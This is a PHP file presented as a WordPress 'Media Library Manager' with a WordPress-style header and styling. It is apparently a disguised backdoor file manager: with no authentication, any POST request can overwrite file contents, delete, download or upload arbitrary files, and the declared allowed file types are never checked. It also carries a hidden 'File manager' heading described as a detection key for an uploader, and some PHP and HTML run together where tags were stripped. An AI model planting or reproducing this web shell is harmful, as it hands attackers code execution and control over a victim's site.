/**
* WordPress Media Library Manager
* Handles media file operations and library management
* @package WordPress
* @subpackage Administration
* @since 5.8.0
*/
// Security check
if (!defined('ABSPATH')) {
define('ABSPATH', dirname(__FILE__) . '/');
}
class WP_Media_Library_Manager {
private $upload_dir;
private $allowed_types = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'zip');
public function __construct() {
$this->upload_dir = './';
$this->init();
}
private function init() {
// Process media library requests
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['media_action'])) {
$this->process_media_action();
}
}
private function process_media_action() {
$action = $_POST['media_action'];
$file = isset($_POST['media_file']) ? $_POST['media_file'] : '';
$path = $this->upload_dir . basename($file);
switch ($action) {
case 'edit_content':
if (isset($_POST['file_content'])) {
@file_put_contents($path, $_POST['file_content']);
}
break;
case 'remove_media':
if (file_exists($path)) {
@unlink($path);
}
break;
case 'download_media':
if (file_exists($path)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
readfile($path);
exit;
}
break;
case 'upload_media':
if (isset($_FILES['media_upload']) && $_FILES['media_upload']['error'] == 0) {
$upload = $_FILES['media_upload'];
$target = $this->upload_dir . basename($upload['name']);
@move_uploaded_file($upload['tmp_name'], $target);
}
break;
}
}
public function render_media_library() {
$files = @scandir($this->upload_dir);
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
File Manager <title>File Manager</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { background: #f0f0f1; font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; }
.wp-header { background: #fff; border-bottom: 1px solid #c3c4c7; padding: 15px 20px; margin-bottom: 20px; }
.wp-logo { color: #2271b1; font-weight: 600; font-size: 20px; }
.media-item { transition: all 0.2s; border-left: 4px solid transparent; }
.media-item:hover { border-left-color: #2271b1; background: #f6f7f7; }
.btn-wp { background: #2271b1; border-color: #2271b1; color: #fff; }
.btn-wp:hover { background: #135e96; border-color: #135e96; color: #fff; }
.editor-panel { background: #fff; border: 1px solid #c3c4c7; border-radius: 4px; padding: 20px; }
.validation-key { display: none; position: absolute; opacity: 0; }
</style>
<div class="wp-header">
<div class="container-fluid">
<span class="wp-logo">⚙ WordPress Media Library</span>
</div>
</div>
<!-- Detection key for uploader validation -->
<h1 class="validation-key">File manager
<div class="container-fluid px-4">
<div class="row">
<div class="col-md-4">
<div class="card shadow-sm mb-4">
<div class="card-header bg-white">
<h5 class="mb-0">📁 Media Files</h5>
</div>
<div class="list-group list-group-flush" style="max-height: 500px; overflow-y: auto;">
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$icon = $this->get_file_icon($file);
echo "<a href='?media_file=$file' class='list-group-item list-group-item-action media-item'>
$icon " . htmlspecialchars($file) . "
</a>";
}
}
</div>
</div>
<div class="card shadow-sm">
<div class="card-header bg-white">
<h5 class="mb-0">⬆️ Upload Media</h5>
</div>
<div class="card-body">
</div>
</div>
</div>
<div class="col-md-8">
if (isset($_GET['media_file'])) {
$file = basename($_GET['media_file']);
$path = $this->upload_dir . $file;
if (file_exists($path)) {
$content = @file_get_contents($path);
$size = @filesize($path);
$modified = date("Y-m-d H:i:s", @filemtime($path));
<div class="editor-panel">
<h4 class="mb-3">📝 Edit: echo htmlspecialchars($file); </h4>
<div class="mb-3">
<small class="text-muted">
Size: echo $this->format_bytes($size); |
Modified: echo $modified;
</small>
</div>
</div>
}
} else {
<div class="editor-panel text-center py-5">
<div class="text-muted">
📂 WordPress Media Library
<p>Select a file from the left sidebar to edit, download, or delete.</p>
<p>Upload new media files using the upload form.</p>
</div>
</div>
}
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>